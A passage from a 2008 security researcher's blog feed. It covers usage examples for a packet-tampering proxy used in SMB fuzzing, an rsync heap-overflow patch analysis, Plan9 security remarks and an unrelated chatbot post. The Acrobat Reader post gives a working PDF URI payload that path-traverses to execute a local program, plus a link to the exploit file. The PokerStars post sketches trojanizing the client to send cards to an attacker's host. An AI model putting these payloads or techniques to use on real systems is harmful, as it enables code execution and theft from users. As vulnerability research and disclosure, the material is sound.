and send the packet changed.&lt;br /&gt;Note that I don't accept \0 nor \x0, (you have to put two hex digit and the x)&lt;br /&gt;Note that sha0proxy show us again the second packet, but witch the changes applied.&lt;br /&gt;&lt;br /&gt;3. I wish to make only one change quickly :)&lt;br /&gt;&lt;br /&gt;/sha0proxy.pl 445 filserver 445 trap 2 07a 'AAAAA\x00'&lt;br /&gt;./smbclient -L 127.0.0.1&lt;br /&gt;&lt;br /&gt;Note that i called sha0 proxy with 3 extra params, the number of packet to modify, offset and value (please use ''  in strange params)&lt;br /&gt;&lt;br /&gt;&lt;font size=1 face=verdana&gt;&lt;br /&gt;1&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 be ff 53 4d 42 72 00 00 00 00 08 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 24 ...............$&lt;br /&gt;020|00 00 01 00 00 9b 00 02 50 43 20 4e 45 54 57 4f ........PC NETWO&lt;br /&gt;030|52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 RK PROGRAM 1.0..&lt;br /&gt;040|4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 MICROSOFT NETWOR&lt;br /&gt;050|4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f KS 1.03..MICROSO&lt;br /&gt;060|46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 FT NETWORKS 3.0.&lt;br /&gt;070|02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e .LANMAN1.0..LM1.&lt;br /&gt;080|32 58 30 30 32 00 02 44 4f 53 20 4c 41 4e 4d 41 2X002..DOS LANMA&lt;br /&gt;090|4e 32 2e 31 00 02 4c 41 4e 4d 41 4e 32 2e 31 00 N2.1..LANMAN2.1.&lt;br /&gt;0a0|02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 .Samba..NT LANMA&lt;br /&gt;0b0|4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 N 1.0..NT LM 0.1&lt;br /&gt;0c0|32 00                                           2.&lt;br /&gt;&lt;/font&gt;           &lt;br /&gt;where&gt;&lt;br /&gt;what&gt;&lt;br /&gt;&lt;br /&gt;Y have pressed enter enter, don't want to change anything.&lt;br /&gt;&lt;font size=1 face=verdana&gt;                       &lt;br /&gt;2&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 b6 ff 53 4d 42 72 00 00 00 00 88 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 24 ...............$&lt;br /&gt;020|00 00 01 00 11 09 00 07 32 00 01 00 04 41 00 00 ........2....A..&lt;br /&gt;030|00 00 01 00 00 00 00 00 fd f3 01 80 ae a3 02 87 ................&lt;br /&gt;040|5b c2 c8 01 88 ff 00 71 00 88 c2 e4 e7 1d a3 83 [......q........&lt;br /&gt;050|47 91 34 83 bf b4 7d ce b5 60 5f 06 06 2b 06 01 G.4...}..`_..+..&lt;br /&gt;060|05 05 02 a0 55 30 53 a0 30 30 2e 06 09 2a 86 48 ....U0S.00...*.H&lt;br /&gt;070|82 f7 12 01 02 02 06 09 2a 86 48 86 f7 12 01 02 ........*.H.....&lt;br /&gt;080|02 06 0a 2a 86 48 86 f7 12 01 02 02 03 06 0a 2b ...*.H.........+&lt;br /&gt;090|06 01 04 01 82 37 02 02 0a a3 1f 30 1d a0 1b 1b .....7.....0....&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;where&gt;&lt;br /&gt;what&gt;&lt;br /&gt;&lt;br /&gt;Y have pressed enter enter, don't want to change anything.&lt;br /&gt;&lt;font size=1 face=verdana&gt;   &lt;br /&gt;2&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 b6 ff 53 4d 42 72 00 00 00 00 88 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 24 ...............$&lt;br /&gt;020|00 00 01 00 11 09 00 07 32 00 01 00 04 41 00 00 ........2....A..&lt;br /&gt;030|00 00 01 00 00 00 00 00 fd f3 01 80 ae a3 02 87 ................&lt;br /&gt;040|5b c2 c8 01 88 ff 00 71 00 88 c2 e4 e7 1d a3 83 [......q........&lt;br /&gt;050|47 91 34 83 bf b4 7d ce b5 60 5f 06 06 2b 06 01 G.4...}..`_..+..&lt;br /&gt;060|05 05 02 a0 55 30 53 a0 30 30 2e 06 09 2a 86 48 ....U0S.00...*.H&lt;br /&gt;070|82 f7 12 01 02 02 06 09 2a 86 41 41 41 41 41 00 ........*.AAAAA.&lt;br /&gt;080|02 06 0a 2a 86 48 86 f7 12 01 02 02 03 06 0a 2b ...*.H.........+&lt;br /&gt;090|06 01 04 01 82 37 02 02 0a a3 1f 30 1d a0 1b 1b .....7.....0....&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;I pressed enter, but in commandline i programed changes at second packet, we can see 07a&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. I wish to make many changes or write an exploit&lt;br /&gt;&lt;br /&gt;cat &gt; smbHeapBof&lt;br /&gt;#This is not a real exploit&lt;br /&gt;#but could be ;)&lt;br /&gt;#&lt;packet&gt; &lt;address&gt; &lt;change&gt;&lt;br /&gt;03 07a AAAAA\x00&lt;br /&gt;&lt;br /&gt;#I can separate with one space or tab&lt;br /&gt;#I can put comments&lt;br /&gt;#I cant use \0 or \x0 the only alowed format is hexa \x00&lt;br /&gt;^C&lt;br /&gt;&lt;br /&gt;/sha0proxy.pl 445 filserver 445 trap smbHeapBof&lt;br /&gt;./smbclient -L 127.0.0.1&lt;br /&gt;&lt;br /&gt;&lt;font size=1 face=verdana&gt;   &lt;br /&gt;1&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 be ff 53 4d 42 72 00 00 00 00 08 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 24 ...............$&lt;br /&gt;020|00 00 01 00 00 9b 00 02 50 43 20 4e 45 54 57 4f ........PC NETWO&lt;br /&gt;030|52 4b 20 50 52 4f 47 52 41 4d 20 31 2e 30 00 02 RK PROGRAM 1.0..&lt;br /&gt;040|4d 49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 MICROSOFT NETWOR&lt;br /&gt;050|4b 53 20 31 2e 30 33 00 02 4d 49 43 52 4f 53 4f KS 1.03..MICROSO&lt;br /&gt;060|46 54 20 4e 45 54 57 4f 52 4b 53 20 33 2e 30 00 FT NETWORKS 3.0.&lt;br /&gt;070|02 4c 41 4e 4d 41 4e 31 2e 30 00 02 4c 4d 31 2e .LANMAN1.0..LM1.&lt;br /&gt;080|32 58 30 30 32 00 02 44 4f 53 20 4c 41 4e 4d 41 2X002..DOS LANMA&lt;br /&gt;090|4e 32 2e 31 00 02 4c 41 4e 4d 41 4e 32 2e 31 00 N2.1..LANMAN2.1.&lt;br /&gt;0a0|02 53 61 6d 62 61 00 02 4e 54 20 4c 41 4e 4d 41 .Samba..NT LANMA&lt;br /&gt;0b0|4e 20 31 2e 30 00 02 4e 54 20 4c 4d 20 30 2e 31 N 1.0..NT LM 0.1&lt;br /&gt;0c0|32 00                                           2.&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;where&gt;&lt;br /&gt;what&gt;&lt;br /&gt;&lt;br /&gt;Y have pressed enter enter, don't want to change anything.&lt;br /&gt;&lt;font size=1 face=verdana&gt;   &lt;br /&gt;2&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 b6 ff 53 4d 42 72 00 00 00 00 88 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 24 ...............$&lt;br /&gt;020|00 00 01 00 11 09 00 07 32 00 01 00 04 41 00 00 ........2....A..&lt;br /&gt;030|00 00 01 00 00 00 00 00 fd f3 01 80 ae a3 02 87 ................&lt;br /&gt;040|5b c2 c8 01 88 ff 00 71 00 88 c2 e4 e7 1d a3 83 [......q........&lt;br /&gt;050|47 91 34 83 bf b4 7d ce b5 60 5f 06 06 2b 06 01 G.4...}..`_..+..&lt;br /&gt;060|05 05 02 a0 55 30 53 a0 30 30 2e 06 09 2a 86 48 ....U0S.00...*.H&lt;br /&gt;070|82 f7 12 01 02 02 06 09 2a 86 48 86 f7 12 01 02 ........*.H.....&lt;br /&gt;080|02 06 0a 2a 86 48 86 f7 12 01 02 02 03 06 0a 2b ...*.H.........+&lt;br /&gt;090|06 01 04 01 82 37 02 02 0a a3 1f 30 1d a0 1b 1b .....7.....0....&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;where&gt;&lt;br /&gt;what&gt;&lt;br /&gt;&lt;br /&gt;Y have pressed enter enter, don't want to change anything.&lt;br /&gt;&lt;font size=1 face=verdana&gt;   &lt;br /&gt;2&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;   |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f |&lt;br /&gt;---+------------------------------------------------+---&lt;br /&gt;000|00 00 00 b6 ff 53 4d 42 72 00 00 00 00 88 01 c8 .....SMBr.......&lt;br /&gt;010|00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 24 ...............$&lt;br /&gt;020|00 00 01 00 11 09 00 07 32 00 01 00 04 41 00 00 ........2....A..&lt;br /&gt;030|00 00 01 00 00 00 00 00 fd f3 01 80 ae a3 02 87 ................&lt;br /&gt;040|5b c2 c8 01 88 ff 00 71 00 88 c2 e4 e7 1d a3 83 [......q........&lt;br /&gt;050|47 91 34 83 bf b4 7d ce b5 60 5f 06 06 2b 06 01 G.4...}..`_..+..&lt;br /&gt;060|05 05 02 a0 55 30 53 a0 30 30 2e 06 09 2a 86 48 ....U0S.00...*.H&lt;br /&gt;070|82 f7 12 01 02 02 06 09 2a 86 41 41 41 41 41 00 ........*.AAAAA.&lt;br /&gt;080|02 06 0a 2a 86 48 86 f7 12 01 02 02 03 06 0a 2b ...*.H.........+&lt;br /&gt;090|06 01 04 01 82 37 02 02 0a a3 1f 30 1d a0 1b 1b .....7.....0....&lt;br /&gt;&lt;/font&gt;&lt;br /&gt;  &lt;br /&gt;I pressed enter, but in the file have programed changes at second packet, we can see 07a&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. I want to make an exploit file for sha0proxy, but with no interaction, i dont want press enter any time.&lt;br /&gt;&lt;br /&gt;No problem, use view mode.&lt;br /&gt;&lt;br /&gt;/sha0proxy.pl 445 filserver 445 view file&lt;br /&gt;./smbclient -L 127.0.0.1&lt;br /&gt;&lt;br /&gt;6. I have the server and client in my box, cant use the same port for server and sha0proxy :/&lt;br /&gt;&lt;br /&gt;you mus use ip aliasing&lt;br /&gt;&lt;br /&gt;ifconfig eth0:1 up &lt;ip2&gt;&lt;br /&gt;ifconfig eth0:1 up &lt;ip2&gt;&lt;br /&gt;&lt;br /&gt;listen the server in ip1 (eth0) and sha0proxy in ip2, the client attack to ip2.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EOF&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-1217620002599756537?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/1217620002599756537/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=1217620002599756537' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1217620002599756537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1217620002599756537'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/05/sha0proxy-v1-released.html' title='sha0proxy v1 released'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_YDjJDsk93g0/SEAPsPSfy0I/AAAAAAAAADo/xinZzqRuBqA/s72-c/sha0proxy.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-5287432461899229235</id><published>2008-04-24T17:34:00.005+02:00</published><updated>2008-05-05T08:16:21.014+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='acroread exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='client bug'/><category scheme='http://www.blogger.com/atom/ns#' term='client exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='bug'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='acroreat'/><category scheme='http://www.blogger.com/atom/ns#' term='acrobat cracked'/><title type='text'>Interesting "feature" of AcroRead</title><content type='html'>Acroread8 is vulnerable to a command execution, is possible at URI tag, to make a local path to the file you want to be executed.&lt;br /&gt;&lt;a href='http://jolmos.tetrabrick.net/xplt/xplt8.pdf'&gt;get the exploit&lt;/a&gt;&lt;br /&gt;This exploit executes the windows calculator, but it can be modified easily:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;00000f30  20 6f 62 6a 0d 3c 3c 2f  55 52 49 28 6d 61 69 6c  | obj.&amp;lt;&amp;lt;/URI(mail|&lt;br /&gt;00000f40  74 6f 3a 74 65 73 74 25  2e 2e 2f 2e 2e 2f 2e 2e  |to:test%../../..|&lt;br /&gt;00000f50  2f 2e 2e 2f 2e 2e 2f 2e  2e 2f 2e 2e 2f 2e 2e 2f  |/../../../../../|&lt;br /&gt;00000f60  77 69 6e 64 6f 77 73 2f  73 79 73 74 65 6d 33 32  |windows/system32|&lt;br /&gt;00000f70  2f 63 61 6c 63 2e 65 78  65 22 2e 63 6d 64 29 2f  |/calc.exe".cmd)/|&lt;br /&gt;&amp;lt;&amp;lt;/URI(mailto:test%../../../../../../../../windows/system32/calc.exe".cmd)/S/URI&amp;gt;&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Conclusion: don't trust in any file given from unknown people :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-5287432461899229235?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/5287432461899229235/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=5287432461899229235' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/5287432461899229235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/5287432461899229235'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/04/interesting-feature-of-acroread.html' title='Interesting &quot;feature&quot; of AcroRead'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-9142053379792614109</id><published>2008-04-14T11:52:00.012+02:00</published><updated>2008-04-15T09:34:43.325+02:00</updated><title type='text'>Rsync remote code execution</title><content type='html'>Rync service with xattr support is vulnerable to a remote code execution in versions between 2.6.9 and 3.0.1&lt;pre&gt;&lt;br /&gt;--- a/util.c&lt;br /&gt;+++ b/util.c&lt;br /&gt;@@ -1329,7 +1329,7 @@ void *_new_array(unsigned long num, unsigned int size, int use_calloc)&lt;br /&gt;  return use_calloc ? calloc(num, size) : malloc(num * size);&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt;-void *_realloc_array(void *ptr, unsigned int size, unsigned long num)&lt;br /&gt;+void *_realloc_array(void *ptr, unsigned int size, size_t num)&lt;br /&gt; {&lt;br /&gt;  if (num &gt;= MALLOC_MAX/size)&lt;br /&gt;   return NULL;&lt;br /&gt;@@ -1550,7 +1550,10 @@ void *expand_item_list(item_list *lp, size_t item_size,&lt;br /&gt;    new_size += incr;&lt;br /&gt;   else&lt;br /&gt;    new_size *= 2;&lt;br /&gt;-  new_ptr = realloc_array(lp-&gt;items, char, new_size * item_size);&lt;br /&gt;+  if (new_size &lt; lp-&gt;malloced)&lt;br /&gt;+   overflow_exit("expand_item_list");&lt;br /&gt;+  /* Using _realloc_array() lets us pass the size, not a type. */&lt;br /&gt;+  new_ptr = _realloc_array(lp-&gt;items, item_size, new_size);&lt;br /&gt;   if (verbose &gt;= 4) {&lt;br /&gt;    rprintf(FINFO, "[%s] expand %s to %.0f bytes, did%s move\n",&lt;br /&gt;     who_am_i(), desc, (double)new_size * item_size,&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;1. size_t&lt;/h2&gt;&lt;br /&gt;First there is the check if (num &gt;= MALLOC_MAX/size)  &lt;br /&gt;num*size has to be less than MALLOC_MAX&lt;br /&gt;&lt;br /&gt;Have this check a sign problem?&lt;br /&gt;&lt;br /&gt;rsync.h redefines size_t to unsigned int, there is not problem, and xattr patch doesn't change this to a signed one.&lt;br /&gt;&lt;br /&gt;There is not sign problem here.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;2. new_size &lt; malloced&lt;/h2&gt;&lt;br /&gt;+  if (new_size &lt; lp-&gt;malloced)&lt;br /&gt;Now is not possible use this realloc to reduce the heap variable lp-&gt;items!!!&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;3. supply the fixed size instead of the type char&lt;/h2&gt;&lt;br /&gt;char should *1 I dont think this was a problem.&lt;br /&gt;&lt;br /&gt;-  new_ptr = realloc_array(lp-&gt;items, char, new_size * item_size);&lt;br /&gt;+  new_ptr = _realloc_array(lp-&gt;items, item_size, new_size);&lt;br /&gt;&lt;br /&gt;The first will use a macro to do:&lt;br /&gt;_realloc_array (ptr, sizeof(char), new_size*item_size)&lt;br /&gt;&lt;br /&gt;rsync.h:#define realloc_array(ptr, type, num) ((type*)_realloc_array((ptr), sizeof(type), (num)))&lt;br /&gt;&lt;br /&gt;The second will realloc item_size*new_size&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;The Problem&lt;/h2&gt;&lt;br /&gt;Then, the problem seems the reduction of size, that was not controlled and lets overflow the lp-&gt;items array.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;The Explotation&lt;/h2&gt;&lt;br /&gt;More details about explotation, soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-9142053379792614109?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/9142053379792614109/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=9142053379792614109' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/9142053379792614109'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/9142053379792614109'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/04/rsync-remote-code-execution-by-integer.html' title='Rsync remote code execution'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-1676510209348535737</id><published>2008-04-10T16:56:00.006+02:00</published><updated>2008-04-27T22:09:53.986+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='poker'/><category scheme='http://www.blogger.com/atom/ns#' term='pokerstars connection'/><category scheme='http://www.blogger.com/atom/ns#' term='poker security'/><category scheme='http://www.blogger.com/atom/ns#' term='pokerstars'/><category scheme='http://www.blogger.com/atom/ns#' term='pokerstars security'/><category scheme='http://www.blogger.com/atom/ns#' term='poker stars'/><title type='text'>PokerStars Security</title><content type='html'>In this video we can see that the code is making a tcp connection to 77.87.178.66 The SSL crypted connection to 445 can be redirected to my sha0proxy.pl&lt;br /&gt;&lt;br /&gt;PokerStars communication is secure bescause they check the certificates.&lt;br /&gt;&lt;br /&gt;&lt;object type="application/x-shockwave-flash" width="450" height="340" data="http://jolmos.tetrabrick.net/player_flv_maxi.swf" &gt;&lt;br /&gt;     &lt;param name="movie" value="http://jolmos.tetrabrick.net/player_flv_maxi.swf" /&gt;&lt;br /&gt;     &lt;param name="FlashVars" value="flv=http://jolmos.tetrabrick.net/pokerStars.flv" /&gt;&lt;br /&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;If we patch the  call dword ptr DS:[7145C] (connect) to make our fake connection to the evilserver, it will not work because of the certificates validations. But cards can be sended to the evil-host. The trojanized client can be distributed to the users.&lt;br /&gt;&lt;br /&gt;Conclusion: The software always must be downloaded from an official font by a clear url.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-1676510209348535737?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/1676510209348535737/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=1676510209348535737' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1676510209348535737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1676510209348535737'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/04/pockerstars-security.html' title='PokerStars Security'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-1348713039122921513</id><published>2008-04-09T16:59:00.003+02:00</published><updated>2008-04-09T17:11:20.135+02:00</updated><title type='text'>my PNL Bot</title><content type='html'>I am coding a msn messenger bot based in Milton Ericsson's MetaModel.&lt;br /&gt;The bot is at the address: metamodelo@live.com&lt;br /&gt;&lt;br /&gt;The MetaModel tries to open your mind, by questinoning your Beliefs.&lt;br /&gt;&lt;br /&gt;Beliefs are filters of the reality, everybody see the reality through them, but can be changed. Are like a glasses, you can see the things from other glasses.&lt;br /&gt;&lt;br /&gt;There are three kind of filters, distortion, generalization and suppression. &lt;br /&gt;If you say one thing to help other, you wouldn't help him, you have to ask to detail the Belief.&lt;br /&gt;When we try to answer, we fill our map with new chances. &lt;br /&gt;&lt;br /&gt;If we let ourselves to test other Beliefs to see what happens, we will open our mind.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-1348713039122921513?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/1348713039122921513/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=1348713039122921513' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1348713039122921513'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/1348713039122921513'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/04/my-pnl-bot.html' title='my PNL Bot'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_YDjJDsk93g0/S0jQPH6thiI/AAAAAAAAAGA/PgXsaHv0oEM/S220/mi+foto.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34286802.post-696299409419257914</id><published>2008-04-09T12:57:00.027+02:00</published><updated>2009-09-09T18:10:52.068+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='9p'/><category scheme='http://www.blogger.com/atom/ns#' term='p9'/><category scheme='http://www.blogger.com/atom/ns#' term='plan9'/><category scheme='http://www.blogger.com/atom/ns#' term='acid'/><category scheme='http://www.blogger.com/atom/ns#' term='plan9 security'/><title type='text'>Plan9 Security</title><content type='html'>Plan9 is a new concept of operative system, I like it but I am not confident about its security.&lt;br /&gt;&lt;br /&gt;- It saves all the passwords used to connect to remote services in the cache&lt;br /&gt;&lt;br /&gt;- There are grids open, maybe are vulnerable a some kind of worms, or can be use as DDoS platforms.&lt;br /&gt;&lt;br /&gt;- When you introduce the password to log-in to remote file-server, is viewed in plaint-ext at the screen.&lt;br /&gt;&lt;br /&gt;- plan9 services are vulnerable to a stack attacks.&lt;br /&gt;&lt;br /&gt;&lt;a href='http://plan9.bell-labs.com/sys/doc/auth.html'&gt;plan9 Security&lt;/a&gt;&lt;br /&gt;&lt;a href='http://www.phrack.nl/phrack62/p62-0x09.txt'&gt;plan9 Shellcode&lt;/a&gt;&lt;br /&gt;&lt;a href='http://plan9.escet.urjc.es/iwp9/cready/realtime.pdf'&gt;plan9 scheduler&lt;/a&gt;&lt;br /&gt;&lt;a href='http://plan9.escet.urjc.es/iwp9/cready/pegasus-5.pdf'&gt;pegassus, plan9 webserver&lt;/a&gt;&lt;br /&gt;&lt;a href='http://plan9.bell-labs.com/sys/doc/acid.html'&gt;acid, plan9 debugger&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I have recorded a video introducing the acid debugger usage.&lt;br /&gt;&lt;object type="application/x-shockwave-flash" width="450" height="340" data="http://" &gt;&lt;br /&gt;     &lt;param name="movie" value="http://www.badchecksum.net/videos/player_flv_maxi.swf" /&gt;&lt;br /&gt;     &lt;param name="FlashVars" value="flv=http://www.badchecksum.net/videos/plan9/acid.flv" /&gt;&lt;br /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34286802-696299409419257914?l=jolmos.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jolmos.blogspot.com/feeds/696299409419257914/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34286802&amp;postID=696299409419257914' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/696299409419257914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34286802/posts/default/696299409419257914'/><link rel='alternate' type='text/html' href='http://jolmos.blogspot.com/2008/04/plan9-security.html' title='Plan9 Security'/><author><name>Jesús</name><uri>http://www.blogger.com/profile/08849754854640967545</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' 